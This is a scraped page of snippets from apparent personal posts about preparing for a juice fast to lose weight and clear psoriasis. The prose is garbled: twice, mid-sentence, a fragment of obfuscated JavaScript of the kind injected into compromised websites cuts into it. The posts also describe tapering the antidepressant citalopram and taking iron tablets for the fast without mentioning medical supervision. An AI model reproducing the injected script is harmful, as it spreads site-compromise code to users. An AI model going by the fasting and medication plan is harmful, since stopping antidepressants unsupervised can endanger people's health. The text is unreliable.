Preparing to fast. Have fasted before. I am overweight.. approx 11.5 stones and height 5,7.I am a 31 year old single mother. I also have a large patch of psoriosis on my right leg which I am hoping to clear.

Progress Report (psoriosis, wei .:.

Progress Report (psoriosis, weightloss)

I have started my fast today. I have reduced my medication ( citalopram) to 10mg per day $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse

Preparing for a Juice Fast. Can .:.

Preparing for a Juice Fast. Can I lose 2.3 stone?

I am preparing for a juice fast. I am taking two weeks to prepare as I need to come off anti-depression medication slowly. I believe I am low on iron supplies. Currently I am taking iron tablets from the health food shop $soq0ujYK